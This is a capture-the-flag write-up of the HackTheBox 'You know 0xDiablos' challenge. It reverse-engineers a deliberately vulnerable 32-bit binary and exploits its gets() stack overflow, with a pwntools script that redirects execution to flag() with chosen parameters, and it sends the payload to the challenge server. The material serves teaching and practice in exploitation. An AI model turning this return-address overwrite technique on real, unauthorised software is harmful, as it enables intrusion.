CHALLENGE INFORMATION
![]() | Platform: HackTheBox Collection: Beginner Track Challenge: You know 0xDiablos |
DESCRIPTION
I missed my flag.
SUMMARY
We perform static analysis using Ghidra to identify potential vulnerabilities. Upon discovering a buffer overflow vulnerability, we verify its existence and proceed to analyze the target architecture and endianness using pwntools’ checksec feature.
With this information in hand, we use GDB and PEDA to identify the offset and address of the flag() function. We then craft a malicious payload using pwntools to smash the stack and exploit the vulnerability. Before submitting the exploit to the target machine, we verify its effectiveness against a local copy of the executable. After successfully exploiting the target, we submit our exploit and retrieve the recovered flag.
Preparing Challenge Files
After a quick look at the challenge description, we proceed by downloading the challenge files.

Figure 1: Downloaded challenge archive and verification checksum
The archive contains a single compressed file, You know 0xDiablos.zip. We verify its integrity using the provided SHA-256 checksum.
user@kali:~$ ll
...
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$ echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c You know 0xDiablos.zip" | sha256sum -c
You know 0xDiablos.zip: OK
user@kali:~$With the file verified, we proceed to decompress it.
user@kali:~$ unzip -P hackthebox You\ know\ 0xDiablos.zip
Archive: You know 0xDiablos.zip
skipping: vuln need PK compat. v5.1 (can do v4.6)
user@kali:~$The standard unzip utility fails with a compatibility error. Research indicates that the 7z archiver handles this format, and since it is already installed on the pwnbox, we use it to extract the files.
user@kali:~$ 7z x -phackthebox You\ know\ 0xDiablos.zip
...
Extracting archive: You know 0xDiablos.zip
--
Path = You know 0xDiablos.zip
Type = zip
Physical Size = 3058
Everything is Ok
Size: 15656
Compressed: 3058
user@kali:~$ ll
...
-rw-r--r-- 1 user user 16K ... vuln
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$Information Gathering
The archive contains a single file: vuln. Examining it with the file command reveals it to be a Linux executable.
user@kali:~$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
user@kali:~$We grant the file execution permissions.
user@kali:~$ chmod a+x vuln
user@kali:~$ ll
...
-rwxr-xr-x 1 user user 16K ... vuln
-rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip'
user@kali:~$We execute the binary to observe its behavior.
user@kali:~$ ./vuln
You know who are 0xDiablos:
test
test
user@kali:~$On first execution, the program simply echoes our input. We examine the printable strings within the binary to gather additional information.
user@kali:~$ strings vuln > vuln-strings.txt
user@kali:~$ cat vuln-strings.txt
...
exit
fopen
puts
...
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos:
...
flag
...
.init
.text
...
.data
.bss
.comment
user@kali:~$Reverse Engineering - Static Analysis
The strings output references flag.txt and a flag function, so we proceed with disassembly using Ghidra.
This is how the decompiled vuln() function looks like:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
char local_bc [180];
gets(local_bc);
puts(local_bc);
return;
}
Static analysis reveals the following:
- Function
main()callsvuln(), which reads data from standard input and echoes it back. - Function
vuln()uses thegets()function, which is known to be vulnerable to buffer overflow attacks. - The function uses a 180-character array to store input.
- The
flag()function opensflag.txtfor reading, verifies two parameters, and returns a value if the checks pass.
This is how the decompiled flag() function looks in Ghidra:

Figure 2: Ghidra decompilation of the flag() function
The decompiled source code for flag() follows:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void flag(int param_1,int param_2)
{
char local_50 [64];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 != (FILE *)0x0) {
fgets(local_50,0x40,local_10);
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
printf(local_50);
}
return;
}
puts("Hurry up and try in on server side.");
/* WARNING: Subroutine does not return */
exit(0);
}
The parameter check is particularly significant:
...
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3))
...
We use Ghidra’s built-in functionality to convert these hexadecimal values to character representations:

Figure 3: Ghidra displaying the converted parameter values
These are the values we get:
...
if ((param_1 == L'\xdeadbeef') && (param_2 == L'\xc0ded00d')) {
...
We now have all the necessary components: a buffer overflow vulnerability in vuln() and a target function flag() that requires two specific parameters.
Buffer Overflow Vulnerabilities
Our objective is to overwrite the return address stored on the stack for vuln(), redirecting execution to flag() when vuln() returns.
A blog post from SANS provides additional detail on buffer overflows and stack canaries.
Key concepts regarding function calls and stack layout:
- Before calling a function, the address of the next instruction is pushed onto the stack.
- When the function returns, this address is popped from the stack into the instruction pointer.
- The stack grows downward in memory.
Parameters are pushed onto the stack before the function is called. When calling flag(param_1, param_2), the stack frame would appear as follows:
| Previous frame |
param_2 |
param_1 |
| Return address |
| Previous frame address |
| Local variables |
| Free memory |
This technique of overwriting the return address via buffer overflow is commonly called smashing the stack. The process unfolds as follows:
Step-1: A function allocates a buffer on the stack – in our case, the
local_bcvariable invuln().Step-2: The function copies user-controlled data into the buffer without verifying that the data fits within the allocated space –
gets()performs no bounds checking.Step-3: User data overflows the buffer, overwriting adjacent stack variables up to the saved return address.
Step-4: When the function returns, the corrupted return address is loaded into the EIP (instruction pointer) register, redirecting execution.
Step-5: The program now executes attacker-controlled code – in this case, the
flag()function.
The stack frame for vuln() appears as follows:
| Previous frame – in main() |
OVERWRITE – Return address for vuln() |
| OVERWRITE – Previous frame address; old EBP |
| Local variables; local_bc |
| Free memory |
We verify the vulnerability by generating input exceeding the 180-byte buffer size.
user@kali:~$ python -c "print('A'*180)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*181)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*182)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*183)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@kali:~$ python -c "print('A'*184)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
user@kali:~$ python -c "print('A'*185)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
user@kali:~$Input of 184 bytes or more triggers a segmentation fault, indicating that we have successfully overwritten the return address with invalid data (the ASCII character A, hex 0x41).
GDB - PEDA
To locate the memory address of flag(), we employ GDB with the PEDA (Python Exploit Development Assistance) extension. First, we install PEDA.
user@kali:~$ git clone https://github.com/longld/peda.git ~/peda
Cloning into '/home/user/peda'...
...
Receiving objects: 100% (382/382), 290.84 KiB | 5.10 MiB/s, done.
Resolving deltas: 100% (231/231), done.
user@kali:~$ echo "source ~/peda/peda.py" >> ~/.gdbinit
user@kali:~$With PEDA installed, we load the executable in GDB.
user@kali:~$ gdb vuln -q
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$PEDA includes utilities for payload generation. We create a cyclic pattern to determine the exact offset at which the return address is overwritten.
gdb-peda$ pattern_create --help
Generate a cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
pattern_create size [file]
gdb-peda$ pattern_create 200 pattern-200.txt
Writing pattern of 200 chars to filename "pattern-200.txt"
gdb-peda$We feed this pattern to the executable.
gdb-peda$ run < pattern-200.txt
Starting program: /home/user/vuln < pattern-200.txt
You know who are 0xDiablos:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x76414158 ('XAAv')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0x41594141 ('AAYA')
ESP: 0xffffd060 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffd060 ("ZAAxAAyA")
0004| 0xffffd064 ("AAyA")
0008| 0xffffd068 --> 0xffffd100 --> 0x1
0012| 0xffffd06c --> 0x3eb
0016| 0xffffd070 --> 0xffffd090 --> 0x1
0020| 0xffffd074 --> 0x0
0024| 0xffffd078 --> 0x0
0028| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()
gdb-peda$The program crashes because the EIP register contains ‘AwAA’ (hex 0x41417741), indicating successful overwrite of the return address. We calculate the offset to determine how many bytes precede the return address.
gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188
gdb-peda$The offset is 188 bytes. To redirect execution to flag(), we need its starting address. Disassembling flag() reveals the entry point at 0x080491e2.
gdb-peda$ disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp
0x080491e3 <+1>: mov ebp,esp
0x080491e5 <+3>: push ebx
0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax
0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax
0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax
0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax
0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax
0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax
0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop
0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop
0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave
0x08049271 <+143>: ret
End of assembler dump.
gdb-peda$Generating Payload with pwntools
We proceed to create our exploit payload. The pwntools framework streamlines this process considerably.
Installation instructions are available on the project website; we follow the standard procedure.
apt-get update;
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential;
python3 -m pip install --upgrade pip;
python3 -m pip install --upgrade pwntools;
With pwntools installed, we create a Python script for payload generation.
user@kali:~$ touch payload-gen.py
user@kali:~$ codium payload-gen.py
user@kali:~$We examine the binary’s security settings using checksec.
user@kali:~$ checksec --help
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]
Check binary security settings
positional arguments:
elf Files to check
optional arguments:
-h, --help show this help message and exit
--file [elf ...] File to check (for compatibility with checksec.sh)
user@kali:~$ checksec vuln
[*] '/home/user/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
user@kali:~$Several factors inform our payload construction:
- The target is a 32-bit executable.
- The architecture uses little-endian byte order (indicated by LSB in the
filecommand output).
The payload generation script assembles the components we have gathered.
# payload-gen.py
from pwn import *
offset = 188
flag_addr = 0x080491e2
eip_addr = p32(flag_addr)
garbage = b'A'*offset
previous_frame = b'A'*4
param_1 = p32(0xdeadbeef)
param_2 = p32(0xc0ded00d)
payload = garbage + eip_addr + previous_frame + param_1 + param_2
with open("payload.txt", "wb") as file:
file.write(payload)
Key aspects of the script:
- The return address (
eip_addr) is packed as a 32-bit little-endian integer usingp32(). - The output file is opened in binary write mode.
- We follow the C calling convention for parameter ordering.
- The
previous_framevalue serves as padding (exactly four bytes) to account for the saved base pointer. - Parameters are packed using the same little-endian format as the return address.
We test the payload by setting a breakpoint at flag().
user@kali:~$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$We run the executable with our payload.
gdb-peda$ r < payload.txt
Starting program: /home/user/vuln < payload.txt
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[----------------------------------registers-----------------------------------]
EAX: 0xc1
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAA")
ESP: 0xffffd058 ("AAAAAAAA")
EIP: 0x80491e6 (<flag+4>: sub esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491e2 <flag>: push ebp
0x80491e3 <flag+1>: mov ebp,esp
0x80491e5 <flag+3>: push ebx
=> 0x80491e6 <flag+4>: sub esp,0x54
0x80491e9 <flag+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x80491ee <flag+12>: add ebx,0x2e12
0x80491f4 <flag+18>: sub esp,0x8
0x80491f7 <flag+21>: lea eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ("AAAAAAAA")
0004| 0xffffd05c ("AAAA")
0008| 0xffffd060 --> 0x0
0012| 0xffffd064 --> 0xffffd134 --> 0xffffd2ca ("/home/user/vuln")
0016| 0xffffd068 --> 0xffffd13c --> 0xffffd2f6 ("SHELL=/bin/bash")
0020| 0xffffd06c --> 0x3eb
0024| 0xffffd070 --> 0xffffd090 --> 0x1
0028| 0xffffd074 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$Execution successfully reaches flag(). However, examination of the decompiled function reveals an additional requirement:
...
if (local_10 != (FILE *)0x0)
...
The function only prints the flag if flag.txt opens successfully. We create a local sample file for testing.
user@kali:~$ echo -n "SUCCESS" > flag.txt
user@kali:~$ cat flag.txt
SUCCESS
user@kali:~$We restart GDB.
user@kali:~$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$ r < payload.txt
Starting program: /home/user/vuln < payload.txt
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
[----------------------------------registers-----------------------------------]
EAX: 0xcd
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
EIP: 0x80491e6 (<flag+4>: sub esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491e2 <flag>: push ebp
0x80491e3 <flag+1>: mov ebp,esp
0x80491e5 <flag+3>: push ebx
=> 0x80491e6 <flag+4>: sub esp,0x54
0x80491e9 <flag+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x80491ee <flag+12>: add ebx,0x2e12
0x80491f4 <flag+18>: sub esp,0x8
0x80491f7 <flag+21>: lea eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
0004| 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
0008| 0xffffd060 ("AAAAᆳ\336\r\320\336\300")
0012| 0xffffd064 --> 0xdeadbeef
0016| 0xffffd068 --> 0xc0ded00d
0020| 0xffffd06c --> 0x300
0024| 0xffffd070 --> 0xffffd090 --> 0x1
0028| 0xffffd074 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$We set breakpoints at the parameter comparison instructions.
...
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
...
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
...
gdb-peda$ disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp
0x080491e3 <+1>: mov ebp,esp
0x080491e5 <+3>: push ebx
=> 0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax
0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax
0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax
0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax
0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax
0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax
0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop
0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop
0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave
0x08049271 <+143>: ret
End of assembler dump.
gdb-peda$ b *0x08049246
Breakpoint 2 at 0x8049246
gdb-peda$ b *0x0804924f
Breakpoint 3 at 0x804924f
gdb-peda$We continue execution.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0x0
EDX: 0xfbad2498
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x8049246 (<flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804923d <flag+91>: push eax
0x804923e <flag+92>: call 0x8049050 <fgets@plt>
0x8049243 <flag+97>: add esp,0x10
=> 0x8049246 <flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x804924d <flag+107>: jne 0x8049269 <flag+135>
0x804924f <flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x8049256 <flag+116>: jne 0x804926c <flag+138>
0x8049258 <flag+118>: sub esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08049246 in flag ()
gdb-peda$We verify that the registers contain the expected parameter values.
gdb-peda$ x/xw $ebp+0x8
0xffffd064: 0xdeadbeef
gdb-peda$ x/xw $ebp+0xc
0xffffd068: 0xc0ded00d
gdb-peda$The parameters are set correctly. Continuing execution past both breakpoints displays our test flag value before the program crashes.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0x0
EDX: 0xfbad2498
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x804924f (<flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049243 <flag+97>: add esp,0x10
0x8049246 <flag+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x804924d <flag+107>: jne 0x8049269 <flag+135>
=> 0x804924f <flag+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x8049256 <flag+116>: jne 0x804926c <flag+138>
0x8049258 <flag+118>: sub esp,0xc
0x804925b <flag+121>: lea eax,[ebp-0x4c]
0x804925e <flag+124>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x0804924f in flag ()
gdb-peda$ c
Continuing.
SUCCESS
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0x41414141 ('AAAA')
ECX: 0x7
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd064 --> 0xdeadbeef
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd064 --> 0xdeadbeef
0004| 0xffffd068 --> 0xc0ded00d
0008| 0xffffd06c --> 0x300
0012| 0xffffd070 --> 0xffffd090 --> 0x1
0016| 0xffffd074 --> 0x0
0020| 0xffffd078 --> 0x0
0024| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>: add esp,0x10)
0028| 0xffffd080 --> 0xf7faa000 --> 0x1e3d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$Verifying Results
The payload functions as expected in GDB. We verify it against the local executable.
user@kali:~$ cat payload.txt | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
SUCCESSSegmentation fault
user@kali:~$With local verification complete, we spawn the challenge instance and submit our payload to retrieve the flag.
user@kali:~$ cat payload.txt | nc 178.62.78.169 30660
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
<redacted-flag>
user@kali:~$We submit the flag, review the challenge completion, and terminate the challenge box.
